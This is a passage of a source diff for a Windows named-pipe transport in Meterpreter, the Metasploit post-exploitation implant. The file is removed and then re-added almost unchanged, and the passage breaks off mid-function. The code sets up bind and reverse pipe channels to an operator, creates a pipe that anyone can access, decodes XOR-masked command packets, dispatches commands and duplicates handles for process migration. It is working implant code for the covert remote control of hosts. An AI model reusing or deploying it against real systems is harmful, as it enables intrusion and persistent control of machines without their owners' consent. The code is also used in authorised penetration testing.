failure. - */ -static BOOL configure_named_pipe_connection(Transport* transport) -{ - DWORD result = ERROR_SUCCESS; - wchar_t tempUrl[512]; - NamedPipeTransportContext* ctx = (NamedPipeTransportContext*)transport->ctx; - - if (ctx->pipe_name == NULL) - { - dprintf("[NP CONFIGURE] Url: %S", transport->url); - wcscpy_s(tempUrl, 512, transport->url); - dprintf("[NP CONFIGURE] Copied: %S", tempUrl); - - transport->comms_last_packet = current_unix_timestamp(); - - dprintf("[NP CONFIGURE] Making sure it's a pipe ..."); - if (wcsncmp(tempUrl, L"pipe", 4) == 0) - { - dprintf("[NP CONFIGURE] Yup, it is, parsing"); - wchar_t* pServer = wcsstr(tempUrl, L"//") + 2; - dprintf("[NP CONFIGURE] pServer is %p", pServer); - dprintf("[NP CONFIGURE] pServer is %S", pServer); - wchar_t* pName = wcschr(pServer, L'/') + 1; - dprintf("[NP CONFIGURE] pName is %p", pName); - dprintf("[NP CONFIGURE] pName is %S", pName); - wchar_t* pSlash = wcschr(pName, L'/'); - dprintf("[NP CONFIGURE] pName is %p", pName); - - // Kill off a trailing slash if there is one - if (pSlash != NULL) - { - *pSlash = '\0'; - } - - *(pName - 1) = '\0'; - - dprintf("[NP CONFIGURE] Server: %S", pServer); - dprintf("[NP CONFIGURE] Name: %S", pName); - - size_t requiredSize = wcslen(pServer) + wcslen(pName) + 9; - ctx->pipe_name = (STRTYPE)calloc(requiredSize, sizeof(CHARTYPE)); - _snwprintf_s(ctx->pipe_name, requiredSize, requiredSize - 1, L"\\\\%s\\pipe\\%s", pServer, pName); - dprintf("[NP CONFIGURE] Full pipe name: %S", ctx->pipe_name); - } - } - - - // check if comms is already open via a staged payload - if (ctx->pipe != NULL && ctx->pipe != INVALID_HANDLE_VALUE) - { - // Configure PIPE_WAIT. Stager doesn't do this because ConnectNamedPipe may never return. - DWORD mode = 0; - SetNamedPipeHandleState((HANDLE)ctx->pipe, &mode, NULL, NULL); - dprintf("[NP] Connection already running on %u", ctx->pipe); - } - else - { - dprintf("[NP CONFIGURE] pipe name is %p", ctx->pipe_name); - - if (ctx->pipe_name != NULL) - { - if (wcsncmp(ctx->pipe_name, L"\\\\.\\", 4) == 0) - { - ctx->pipe = bind_named_pipe(ctx->pipe_name, &transport->timeouts); - } - else - { - ctx->pipe = reverse_named_pipe(ctx->pipe_name, &transport->timeouts); - } - } - else - { - dprintf("[NP] we might have had an invalid URL"); - result = ERROR_INVALID_PARAMETER; - } - } - - if (ctx->pipe == INVALID_HANDLE_VALUE) - { - dprintf("[SERVER] Something went wrong"); - return FALSE; - } - - dprintf("[SERVER] Looking good, FORWARD!"); - - // Do not allow the file descriptor to be inherited by child processes - SetHandleInformation((HANDLE)ctx->pipe, HANDLE_FLAG_INHERIT, 0); - - transport->comms_last_packet = current_unix_timestamp(); - - return TRUE; -} - -/*! - * @brief Transmit a packet via named pipe. - * @param remote Pointer to the \c Remote instance. - * @param rawPacket Pointer to the raw packet bytes to send. - * @param rawPacketLength Length of the raw packet data. - * @return An indication of the result of processing the transmission request. - */ -DWORD packet_transmit_named_pipe(Remote* remote, LPBYTE rawPacket, DWORD rawPacketLength) -{ - dprintf("[TRANSMIT PIPE] In packet_transmit_named_pipe"); - NamedPipeTransportContext* ctx = (NamedPipeTransportContext*)remote->transport->ctx; - DWORD totalWritten = 0; - DWORD written = 0; - DWORD result = ERROR_SUCCESS; - - lock_acquire(ctx->write_lock); - vdprintf("[TRANSMIT PIPE] Sending packet of %u bytes", rawPacketLength); - - while (totalWritten < rawPacketLength) - { - vdprintf("[TRANSMIT PIPE] Calling WriteFile"); - if (!WriteFile(ctx->pipe, rawPacket + totalWritten, rawPacketLength - totalWritten, &written, NULL)) - { - vdprintf("[TRANSMIT PIPE] WriteFile failed: %u (%x)", GetLastError(), GetLastError()); - result = GetLastError(); - break; - } - dprintf("[TRANSMIT PIPE] WriteFile succeeded, wrote %u bytes", written); - - totalWritten += written; - } - - if (result != ERROR_SUCCESS) - { - dprintf("[TRANSMIT PIPE] transmit packet failed with return %d at index %d", result, totalWritten); - } - else - { - vdprintf("[TRANSMIT PIPE] Packet sent!"); - } - - - lock_release(ctx->write_lock); - - return result; -} - -/*! - * @brief Get the socket from the transport. - * @param transport Pointer to the transport containing the socket. - * @param handle The current transport handle, if any. - */ -static UINT_PTR transport_get_handle_named_pipe(Transport* transport) -{ - if (transport != NULL) - { - return (UINT_PTR)((NamedPipeTransportContext*)transport->ctx)->pipe; - } - - return 0; -} - -/*! - * @brief Set the socket for the transport. - * @param transport Pointer to the transport containing the socket. - * @param handle The current transport socket FD, if any. - */ -static void transport_set_handle_named_pipe(Transport* transport, UINT_PTR handle) -{ - if (transport && transport->type == METERPRETER_TRANSPORT_PIPE) - { - ((NamedPipeTransportContext*)transport->ctx)->pipe = (HANDLE)handle; - } -} - -/*! - * @brief Create a configuration block from the given transport. - * @param transport Transport data to create the configuration from. - * @param config Pointer to the config block to write to. - */ -void transport_write_named_pipe_config(Transport* transport, MetsrvTransportNamedPipe* config) -{ - if (transport && config) - { - config->common.comms_timeout = transport->timeouts.comms; - config->common.retry_total = transport->timeouts.retry_total; - config->common.retry_wait = transport->timeouts.retry_wait; - wcsncpy(config->common.url, transport->url, URL_SIZE); - } -} - -/*! - * @brief Create a migration context that works for named pipe transports. - * @param transport Pointer to the transport in question. - * @param targetProcessId ID of the process we'll be migrating into. - * @param targetProcessHandle Handle of the process we'll be migrating into. - * @param contextSize Pointer to a buffer that receives the context size. - * @param contextBuffer Pointer to a buffer that receives the context data. - * @return Indication of success or failure. - */ -static DWORD get_migrate_context_named_pipe(Transport* transport, DWORD targetProcessId, HANDLE targetProcessHandle, LPDWORD contextSize, PBYTE* contextBuffer) -{ - LPPIPEMIGRATECONTEXT ctx = (LPPIPEMIGRATECONTEXT)calloc(1, sizeof(PIPEMIGRATECONTEXT)); - - // Duplicate the handle for the pipe - dprintf("[NP-MIGRATE] pipe handle: %p", ((NamedPipeTransportContext*)transport->ctx)->pipe); - dprintf("[NP-MIGRATE] targetprocess handle: %p", targetProcessHandle); - if (!DuplicateHandle(GetCurrentProcess(), ((NamedPipeTransportContext*)transport->ctx)->pipe, targetProcessHandle, &ctx->h.pipe_handle, 0, TRUE, DUPLICATE_SAME_ACCESS)) - { - free(ctx); - return GetLastError(); - } - - *contextSize = sizeof(PIPEMIGRATECONTEXT); - *contextBuffer = (PBYTE)ctx; - return ERROR_SUCCESS; -} - -/*! - * @brief Gets the size of the memory space required to store the configuration for this transport. - * @param t Pointer to the transport. - * @return Size, in bytes of the required memory block. - */ -static DWORD transport_get_config_size_named_pipe(Transport* t) -{ - return sizeof(MetsrvTransportNamedPipe); -} - -/*! - * @brief Creates a new named pipe transport instance. - * @param config The Named Pipe configuration block. - * @param size Pointer to the size of the parsed config block. - * @return Pointer to the newly configured/created Named Pipe transport instance. - */ -Transport* transport_create_named_pipe(MetsrvTransportNamedPipe* config, LPDWORD size) -{ - Transport* transport = (Transport*)calloc(1, sizeof(Transport)); - NamedPipeTransportContext* ctx = (NamedPipeTransportContext*)calloc(1, sizeof(NamedPipeTransportContext)); - - if (size) - { - *size = sizeof(MetsrvTransportNamedPipe); - } - - // Lock used to synchronise writes - ctx->write_lock = lock_create(); - - dprintf("[TRANS NP] Creating pipe transport for url %S", config->common.url); - - transport->type = METERPRETER_TRANSPORT_PIPE; - transport->timeouts.comms = config->common.comms_timeout; - transport->timeouts.retry_total = config->common.retry_total; - transport->timeouts.retry_wait = config->common.retry_wait; - transport->url = _wcsdup(config->common.url); - transport->packet_transmit = packet_transmit_named_pipe; - transport->transport_init = configure_named_pipe_connection; - transport->transport_destroy = transport_destroy_named_pipe; - transport->transport_reset = transport_reset_named_pipe; - transport->server_dispatch = server_dispatch_named_pipe; - transport->get_handle = transport_get_handle_named_pipe; - transport->set_handle = transport_set_handle_named_pipe; - transport->ctx = ctx; - transport->comms_last_packet = current_unix_timestamp(); - transport->get_migrate_context = get_migrate_context_named_pipe; - transport->get_config_size = transport_get_config_size_named_pipe; - - return transport; -} +/*! + * @file server_transport_named_pipe.c + */ +#include "metsrv.h" +#include "packet_encryption.h" + +// From server_pivot_named_pipe.c +VOID create_pipe_security_attributes(PSECURITY_ATTRIBUTES psa); +DWORD toggle_privilege(LPCWSTR privName, BOOL enable, BOOL* wasEnabled); + +#define STUPID_PIPE_BUFFER_LIMIT 0x10000 + + +typedef struct _PIPEMIGRATECONTEXT +{ + COMMONMIGRATECONTEXT common; + + // We force 64bit algnment for HANDLES and POINTERS in order + // to be cross compatable between x86 and x64 migration. + union + { + HANDLE pipe_handle; + BYTE padding[8]; + } h; + +} PIPEMIGRATECONTEXT, * LPPIPEMIGRATECONTEXT; + +/*! + * @brief Poll a named pipe for data to recv and block when none available. + * @param remote Pointer to the remote instance. + * @param timeout Amount of time to wait before the poll times out (in milliseconds). + * @return Indication of success or failure. + */ +static DWORD server_pipe_poll(Remote* remote, long timeout) +{ + DWORD bytesAvailable = 0; + NamedPipeTransportContext* ctx = (NamedPipeTransportContext*)remote->transport->ctx; + + lock_acquire(remote->lock); + + vdprintf("[NP DISPATCH] testing for data on the pipe, making sure there's enough for a packet header"); + BOOL ready = PeekNamedPipe(ctx->pipe, NULL, 0, NULL, &bytesAvailable, NULL) && bytesAvailable >= sizeof(PacketHeader); + DWORD result = GetLastError(); + + lock_release(remote->lock); + + if (ready) + { + vdprintf("[NP DISPATCH] pipe data found %u bytes", bytesAvailable); + result = ERROR_SUCCESS; + } + else + { + if (result != ERROR_BROKEN_PIPE) + { + // simulate a wait so that we don't bash the crap out of the CPU? + vdprintf("[NP DISPATCH] pipe data not found, sleeping (error %u)", GetLastError()); + Sleep(timeout); + result = ERROR_NO_DATA; + } + } + + return result; +} + +DWORD read_raw_bytes_to_buffer(NamedPipeTransportContext* ctx, LPBYTE buffer, DWORD bytesToRead, LPDWORD bytesRead) +{ + DWORD bytesReadThisIteration = 0; + DWORD temp = 0; + DWORD result = ERROR_SUCCESS; + *bytesRead = 0; + + dprintf("[PIPE] Beginning read loop for a total of %u", bytesToRead); + while (*bytesRead < bytesToRead) + { + dprintf("[PIPE] Trying to read %u (0x%x) bytes", min(STUPID_PIPE_BUFFER_LIMIT, bytesToRead - *bytesRead), min(STUPID_PIPE_BUFFER_LIMIT, bytesToRead - *bytesRead)); + // read the bytes fromi there. + if (!ReadFile(ctx->pipe, buffer + *bytesRead, min(STUPID_PIPE_BUFFER_LIMIT, bytesToRead - *bytesRead), &bytesReadThisIteration, NULL)) + { + result = GetLastError(); + dprintf("[PIPE] ReadFile returned error %u 0x%x", result, result); + break; + } + + dprintf("[PIPE] ReadFile claims to have read %u (0x%x) bytes", bytesReadThisIteration, bytesReadThisIteration); + + *bytesRead += bytesReadThisIteration; + } + + dprintf("[PIPE] Done reading bytes"); + return result; +} + +/*! + * @brief Receive a new packet on the given remote endpoint. + * @param remote Pointer to the \c Remote instance. + * @param packet Pointer to a pointer that will receive the \c Packet data. + * @return An indication of the result of processing the transmission request. + */ +static DWORD packet_receive_named_pipe(Remote *remote, Packet **packet) +{ + DWORD headerBytes = 0, payloadBytesLeft = 0, res; + PacketHeader header = { 0 }; + LONG bytesRead; + BOOL inHeader = TRUE; + PUCHAR packetBuffer = NULL; + PUCHAR payload = NULL; + ULONG payloadLength; + NamedPipeTransportContext* ctx = (NamedPipeTransportContext*)remote->transport->ctx; + + lock_acquire(remote->lock); + + dprintf("[PIPE PACKET RECEIVE] reading in the header from pipe handle: %p", ctx->pipe); + // Read the packet length + while (inHeader) + { + if (!ReadFile(ctx->pipe, ((PUCHAR)&header + headerBytes), sizeof(PacketHeader)-headerBytes, &bytesRead, NULL)) + { + SetLastError(ERROR_NOT_FOUND); + goto out; + } + + headerBytes += bytesRead; + + if (headerBytes != sizeof(PacketHeader)) + { + vdprintf("[PIPE] More bytes required"); + continue; + } + + inHeader = FALSE; + } + + if (headerBytes != sizeof(PacketHeader)) + { + dprintf("[PIPE] we didn't get enough header bytes"); + goto out; + } + + vdprintf("[PIPE] the XOR key is: %02x%02x%02x%02x", header.xor_key[0], header.xor_key[1], header.xor_key[2], header.xor_key[3]); + +#ifdef DEBUGTRACE + PUCHAR h = (PUCHAR)&header; + dprintf("[PIPE] Packet header: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", + h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]); +#endif + + // At this point, we might have read in a valid TLV packet, or we might have read in the first chunk of data + // from a staged listener after a reconnect. We can figure this out rather lazily by assuming the following: + // XOR keys are always 4 bytes that are non-zero. If the higher order byte of the xor key is zero, then it + // isn't an XOR Key, instead it's the 4-byte length of the metsrv binary (because metsrv isn't THAT big). + if (header.xor_key[3] == 0) + { + // looks like we have a metsrv instance, time to ignore it. + int length = *(int*)&header.xor_key[0]; + dprintf("[PIPE] discovered a length header, assuming it's metsrv of length %d", length); + + int bytesToRead = length - sizeof(PacketHeader) + sizeof(DWORD); + char* buffer = (char*)malloc(bytesToRead); + read_raw_bytes_to_buffer(ctx, buffer, bytesToRead, &bytesRead); + free(buffer); + + // did something go wrong. + if (bytesToRead != bytesRead) + { + dprintf("[PIPE] Failed to read all bytes when flushing the buffer: %u vs %u", bytesToRead, bytesRead); + goto out; + } + + // indicate success, but don't return a packet for processing + SetLastError(ERROR_SUCCESS); + *packet = NULL; + } + else + { + vdprintf("[PIPE] XOR key looks fine, moving on"); + // xor the header data + xor_bytes(header.xor_key, (PUCHAR)&header + sizeof(header.xor_key), sizeof(PacketHeader) - sizeof(header.xor_key)); +#ifdef DEBUGTRACE + PUCHAR h = (PUCHAR)&header; + dprintf("[PIPE] Packet header: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", + h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]); +#endif + + // if we don't have a GUID yet, we need to take the one given in the packet + if (is_null_guid(remote->orig_config->session.session_guid)) + { + memcpy(remote->orig_config->session.session_guid, header.session_guid, sizeof(remote->orig_config->session.session_guid)); + } + + payloadLength = ntohl(header.length) - sizeof(TlvHeader); + dprintf("[PIPE] Payload length is %u 0x%08x", payloadLength, payloadLength); + DWORD packetSize = sizeof(PacketHeader) + payloadLength; + dprintf("[PIPE] total buffer size for the packet is %u 0x%08x", packetSize, packetSize); + payloadBytesLeft = payloadLength; + + // Allocate the payload + if (!(packetBuffer = (PUCHAR)malloc(packetSize))) + { + dprintf("[PIPE] Failed to create the packet buffer"); + SetLastError(ERROR_NOT_ENOUGH_MEMORY); + goto out; + } + dprintf("[PIPE] Allocated packet buffer at %p", packetBuffer); + + // we're done with the header data, so we need to re-encode it, as the packet decryptor is going to + // handle the extraction for us. + xor_bytes(header.xor_key, (LPBYTE)&header.session_guid[0], sizeof(PacketHeader) - sizeof(header.xor_key)); + // Copy the packet header stuff over to the packet + memcpy_s(packetBuffer, sizeof(PacketHeader), (LPBYTE)&header, sizeof(PacketHeader)); + + payload = packetBuffer + sizeof(PacketHeader); + + // Read the payload + res = read_raw_bytes_to_buffer(ctx, payload, payloadLength, &bytesRead); + dprintf("[PIPE] wanted %u read %u", payloadLength, bytesRead); + + // Didn't finish? + if (bytesRead != payloadLength) + { + dprintf("[PIPE] Failed to get all the payload bytes"); + SetLastError(res); + goto out; + } + + vdprintf("[PIPE] decrypting packet"); + SetLastError(decrypt_packet(remote, packet, packetBuffer, packetSize)); + + free(packetBuffer); + packetBuffer = NULL; + } +out: + res = GetLastError(); + + // Cleanup + if (packetBuffer) + { + free(packetBuffer); + } + + lock_release(remote->lock); + + return res; +} + +/*! + * @brief The servers main NP DISPATCH loop for incoming requests using SSL over named pipes. + * @param remote Pointer to the remote endpoint for this server connection. + * @param dispatchThread Pointer to the main NP DISPATCH thread. + * @returns Indication of success or failure. + */ +static DWORD server_dispatch_named_pipe(Remote* remote, THREAD* dispatchThread) +{ + Transport* transport = remote->transport; + BOOL running = TRUE; + LONG result = ERROR_SUCCESS; + Packet * packet = NULL; + THREAD * cpt = NULL; + + dprintf("[NP DISPATCH] entering server_dispatch( 0x%08X )", remote); + + int lastPacket = current_unix_timestamp(); + while (running) + { + if (event_poll(dispatchThread->sigterm, 0)) + { + dprintf("[NP DISPATCH] server dispatch thread signaled to terminate..."); + break; + } + + result = server_pipe_poll(remote, 500); + if (result == ERROR_SUCCESS) + { + result = packet_receive_named_pipe(remote, &packet); + if (result != ERROR_SUCCESS) + { + dprintf("[NP DISPATCH] packet_receive returned %d, exiting dispatcher...", result); + break; + } + + if (packet) + { + running = command_handle(remote, packet); + dprintf("[NP DISPATCH] command_process result: %s", (running ? "continue" : "stop")); + } + else + { + dprintf("[NP DISPATCH] Received NULL packet, could be metsrv being ignored"); + } + + // packet received, reset the timer + lastPacket = current_unix_timestamp(); + } + else if (result != ERROR_BROKEN_PIPE) + { + // check if the communication has timed out, or the session has expired, so we should terminate the session + int now = current_unix_timestamp(); + if (now > remote->sess_expiry_end) + { + result = ERROR_SUCCESS; + dprintf("[NP DISPATCH] session has ended"); + break; + } + else if ((now - lastPacket) > transport->timeouts.comms) + { + result = ERROR_NETWORK_NOT_AVAILABLE; + dprintf("[NP DISPATCH] communications has timed out"); + break; + } + } + else + { + dprintf("[NP DISPATCH] server_pipe_poll returned %d, exiting dispatcher...", result); + break; + } + } + + dprintf("[NP DISPATCH] leaving server_dispatch."); + + return result; +} + +/*! + * @brief Destroy the named pipe transport. + * @param transport Pointer to the transport to destroy. + */ +static void transport_destroy_named_pipe(Transport* transport) +{ + if (transport && transport->type == METERPRETER_TRANSPORT_PIPE) + { + dprintf("[TRANS PIPE] Destroying pipe transport for url %S", transport->url); + SAFE_FREE(transport->url); + if (transport->ctx) + { + SAFE_FREE(((NamedPipeTransportContext*)transport->ctx)->pipe_name); + } + SAFE_FREE(transport->ctx); + SAFE_FREE(transport); + } +} + +/*! + * @brief Reset the given named pipe connection. + * @param transport Pointer to the named pipe transport to reset. + * @param shuttingDown Indication that the Metsrv instance is terminating completely. + */ +static void transport_reset_named_pipe(Transport* transport, BOOL shuttingDown) +{ + if (transport && transport->type == METERPRETER_TRANSPORT_PIPE) + { + NamedPipeTransportContext* ctx = (NamedPipeTransportContext*)transport->ctx; + dprintf("[NP] Resetting transport from 0x%x", ctx->pipe); + + if (ctx->pipe && ctx->pipe != INVALID_HANDLE_VALUE) + { + dprintf("[NP] Closing the handle"); + if (!CloseHandle(ctx->pipe)) + { + dprintf("[NP] Handle close failed: %u", GetLastError()); + } + else + { + dprintf("[NP] Handle closed"); + } + } + + ctx->pipe = NULL; + dprintf("[NP] Transport 0x%p is now reset to 0x%x", transport, ctx->pipe); + } +} + +/*! + * @brief Configure reverse named pipe connnection. + * @param pipe_name to connect to + * @param timeouts + * @return handle to connected pipe or INVALID_HANDLE_VALUE on error + */ +static HANDLE reverse_named_pipe(wchar_t *pipe_name, TimeoutSettings *timeouts) +{ + DWORD result = ERROR_SUCCESS; + HANDLE hPipe = INVALID_HANDLE_VALUE; + int start = current_unix_timestamp(); + do + { + dprintf("[NP CONFIGURE] pipe name is %S, attempting to create", pipe_name); + hPipe = CreateFileW(pipe_name, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); + if (hPipe != INVALID_HANDLE_VALUE) + { + break; + } + + hPipe = INVALID_HANDLE_VALUE; + result = GetLastError(); + dprintf("[NP CONFIGURE] failed to create pipe: %u 0x%x", result, result); + dprintf("[NP CONFIGURE] Connection failed, sleeping for %u s", timeouts->retry_wait); + sleep(timeouts->retry_wait); + + } while (((DWORD)current_unix_timestamp() - (DWORD)start) < timeouts->retry_total); + return hPipe; +} + +/*! + * @brief Configure bind named pipe connnection. + * @param pipe_name to create + * @param timeouts + * @return handle to connected pipe or INVALID_HANDLE_VALUE on error + */ +static HANDLE bind_named_pipe(wchar_t *pipe_name, TimeoutSettings *timeouts) +{ + DWORD result = ERROR_SUCCESS; + BOOL wasEnabled; + HANDLE hPipe = INVALID_HANDLE_VALUE; + DWORD toggleResult = toggle_privilege(SE_SECURITY_NAME, TRUE, &wasEnabled); + if (toggleResult == ERROR_SUCCESS) + { + SECURITY_ATTRIBUTES sa = { 0 }; + create_pipe_security_attributes(&sa); // allow access anyone + hPipe = CreateNamedPipeW(pipe_name, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, + STUPID_PIPE_BUFFER_LIMIT, STUPID_PIPE_BUFFER_LIMIT, 0, &sa); + result = GetLastError(); + if (wasEnabled == FALSE) + { + toggle_privilege(SE_SECURITY_NAME, FALSE, &wasEnabled); + } + } + + if (hPipe == INVALID_HANDLE_VALUE) + { + // Fallback on a pipe with simpler security attributes + hPipe = CreateNamedPipeW(pipe_name, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, + STUPID_PIPE_BUFFER_LIMIT, STUPID_PIPE_BUFFER_LIMIT, 0, NULL); + result = GetLastError(); + } + + if (hPipe == INVALID_HANDLE_VALUE) + { + dprintf("[NP CONFIGURE] failed to create pipe: %u 0x%x", result, result); + return INVALID_HANDLE_VALUE; + } + + int start = current_unix_timestamp(); + do + { + if (ConnectNamedPipe(hPipe, NULL)) + { + return hPipe; + } + + result = GetLastError(); + if (result == ERROR_PIPE_CONNECTED) + { + return hPipe; + } + dprintf("[NP CONFIGURE] Failed to connect pipe: %u 0x%x", result, result); + dprintf("[NP CONFIGURE] Trying again in %u s", 1); + sleep(1); + } while (((DWORD)current_unix_timestamp() - (DWORD)start) < timeouts->retry_total); + + CloseHandle(hPipe); + return INVALID_HANDLE_VALUE; +} + + +/*! + * @brief Configure the named pipe connnection. If it doesn't exist, go ahead and estbalish it. + * @param transport Pointer to the transport instance. + * @return Indication of success or failure. + */ +static BOOL configure_named_pipe_connection(Transport* transport) +{ + DWORD result = ERROR_SUCCESS; + wchar_t tempUrl[512]; + NamedPipeTransportContext* ctx = (NamedPipeTransportContext*)transport->ctx; + + if (ctx->pipe_name == NULL) + { + dprintf("[NP CONFIGURE] Url: %S", transport->url); + wcscpy_s(tempUrl, 512, transport->url); + dprintf("[NP CONFIGURE] Copied: %S", tempUrl); + + transport->comms_last_packet = current_unix_timestamp(); + + dprintf("[NP CONFIGURE] Making sure it's a pipe ..."); + if (wcsncmp(tempUrl, L"pipe", 4) == 0) + { + dprintf("[NP CONFIGURE] Yup, it is, parsing"); + wchar_t* pServer = wcsstr(tempUrl, L"//") + 2; + dprintf("[NP CONFIGURE] pServer is %p", pServer); + dprintf("[NP CONFIGURE] pServer is %S", pServer); + wchar_t* pName = wcschr(pServer, L'/') + 1; + dprintf("[NP CONFIGURE] pName is %p", pName); + dprintf("[NP CONFIGURE] pName is %S", pName); + wchar_t* pSlash = wcschr(pName, L'/'); + dprintf("[NP CONFIGURE] pName is %p", pName); + + // Kill off a trailing slash if there is one + if (pSlash != NULL) + { + *pSlash = '\0'; + } + + *(pName - 1) = '\0'; + + dprintf("[NP CONFIGURE] Server: %S", pServer); + dprintf("[NP CONFIGURE] Name: %S", pName); + + size_t requiredSize = wcslen(pServer) + wcslen(pName) + 9; + ctx->pipe_name = (STRTYPE)calloc(requiredSize, sizeof(CHARTYPE)); + _snwprintf_s(ctx->pipe_name, requiredSize, requiredSize - 1, L"\\\\%s\\pipe\\%s", pServer, pName); + dprintf("[NP CONFIGURE] Full pipe name: %S", ctx->pipe_name); + } + } + + + // check if comms is already open via a staged payload + if (ctx->pipe != NULL && ctx->pipe != INVALID_HANDLE_VALUE) + { + // Configure PIPE_WAIT. Stager doesn't do this because ConnectNamedPipe may never return. + DWORD mode = 0; + SetNamedPipeHandleState((HANDLE)ctx->pipe, &mode, NULL, NULL); + dprintf("[NP] Connection already running on %u", ctx->pipe); + } + else + { + dprintf("[NP CONFIGURE] pipe name is %p", ctx->pipe_name); + + if (ctx->pipe_name != NULL) + { + if (wcsncmp(ctx->pipe_name, L"\\\\.\\", 4) == 0) + { + ctx->pipe = bind_named_pipe(ctx->pipe_name, &transport->timeouts); + } + else + { + ctx->pipe = reverse_named_pipe(ctx->pipe_name, &transport->timeouts); + } + } + else + { + dprintf("[NP] we might have had an invalid URL"); + result = ERROR_INVALID_PARAMETER; + } + } + + if (ctx->pipe == INVALID_HANDLE_VALUE) + { + dprintf("[SERVER] Something went wrong"); + return FALSE; + } + + dprintf("[SERVER] Looking good, FORWARD!"); + + // Do not allow the file descriptor to be inherited by child processes + SetHandleInformation((HANDLE)ctx->pipe, HANDLE_FLAG_INHERIT, 0); + + transport->comms_last_packet = current_unix_timestamp(); + + return TRUE; +} + +/*! + * @brief Transmit a packet via named pipe. + * @param remote Pointer to the \c Remote instance. + * @param rawPacket Pointer to the raw packet bytes to send. + * @param rawPacketLength Length of the raw packet data. + * @return An indication of the result of processing the transmission request. + */ +DWORD packet_transmit_named_pipe(Remote* remote, LPBYTE rawPacket, DWORD rawPacketLength) +{ + dprintf("[TRANSMIT PIPE] In packet_transmit_named_pipe"); + NamedPipeTransportContext* ctx = (NamedPipeTransportContext*)remote->transport->ctx; + DWORD totalWritten = 0; + DWORD written = 0; + DWORD result = ERROR_SUCCESS; + + lock_acquire(ctx->write_lock); + vdprintf("[TRANSMIT PIPE] Sending packet of %u bytes", rawPacketLength); + + while (totalWritten < rawPacketLength) + { + vdprintf("[TRANSMIT PIPE] Calling WriteFile"); + if (!WriteFile(ctx->pipe, rawPacket + totalWritten, rawPacketLength - totalWritten, &written, NULL)) + { + vdprintf("[TRANSMIT PIPE] WriteFile failed: %u (%x)", GetLastError(), GetLastError()); + result = GetLastError(); + break; + } + dprintf("[TRANSMIT PIPE] WriteFile succeeded, wrote %u bytes", written); + + totalWritten += written; + } + + if (result != ERROR_SUCCESS) + { + dprintf("[TRANSMIT PIPE] transmit packet failed with return %d at index %d", result, totalWritten); + } + else + { + vdprintf("[TRANSMIT PIPE] Packet sent!"); + } + + + lock_release(ctx->write_lock); + + return result; +} + +/*! + * @brief Get the socket from the transport. + * @param transport Pointer to the transport containing the socket. + * @param handle The current transport handle, if any. + */ +static UINT_PTR transport_get_handle_named_pipe(Transport* transport) +{ + if (transport != NULL) + { + return (UINT_PTR)((NamedPipeTransportContext*)transport->ctx)->pipe; + } + + return 0; +} + +/*! + * @brief Set the socket for the transport. + * @param transport Pointer to the transport containing the socket. + * @param handle The current transport socket FD, if any. + */ +static void transport_set_handle_named_pipe(Transport* transport, UINT_PTR handle) +{ + if (transport && transport->type == METERPRETER_TRANSPORT_PIPE) + { + ((NamedPipeTransportContext*)transport->ctx)->pipe = (HANDLE)handle; + } +} + +/*! + * @brief Create a configuration block from the given transport. + * @param transport Transport data to create the configuration from. + * @param config Pointer to the config block to write to. + */ +void transport_write_named_pipe_config(Transport* transport, MetsrvTransportNamedPipe* config) +{ + if (transport && config) + { + config->common.comms_timeout = transport->timeouts.comms; + config->common.retry_total = transport->timeouts.retry_total; + config->common.retry_wait = transport->timeouts.retry_wait; + wcsncpy(config->common.url, transport->url, URL_SIZE); + } +} + +/*! + * @brief Create a migration context that works for named pipe transports. + * @param transport Pointer to the transport in question. + * @param targetProcessId ID of the process we'll be migrating into. + * @param targetProcessHandle Handle of the process we'll be migrating into. + * @param contextSize Pointer to a buffer that receives the context size. + * @param contextBuffer Pointer to a buffer that receives the context data. + * @return Indication of success or failure. + */ +static DWORD get_migrate_context_named_pipe(Transport* transport, DWORD targetProcessId, HANDLE targetProcessHandle, LPDWORD contextSize, PBYTE* contextBuffer) +{ + LPPIPEMIGRATECONTEXT ctx = (LPPIPEMIGRATECONTEXT)calloc(1, sizeof(PIPEMIGRATECONTEXT)); + + // Duplicate the handle for the pipe + dprintf("[NP-MIGRATE] pipe handle: %p", ((NamedPipeTransportContext*)transport->ctx)->pipe); + dprintf("[NP-MIGRATE] targetprocess handle: %p", targetProcessHandle); + if (!DuplicateHandle(GetCurrentProcess(), ((NamedPipeTransportContext*)transport->ctx)->pipe, targetProcessHandle, &ctx->h.pipe_handle, 0, TRUE, DUPLICATE_SAME_ACCESS)) + { + free(ctx); + return GetLastError(); + } + + *contextSize = sizeof(PIPEMIGRATECONTEXT); + *contextBuffer = (PBYTE)ctx; + return ERROR_SUCCESS; +} + +/*! + * @brief Gets the size of the memory space required to store the configuration for this transport. + * @param t Pointer to the transport. + * @return Size, in bytes of the required memory block. + */ +static DWORD transport_get_config_size_named_pipe(Transport* t) +{ + return sizeof(MetsrvTransportNamedPipe); +} + +/*! + * @brief Creates a new named pipe transport instance. + * @param config The Named Pipe configuration block. + * @param size Pointer to the size of the parsed config block. + * @return Pointer to the newly configured/created Named Pipe transport instance. + */ +Transport* 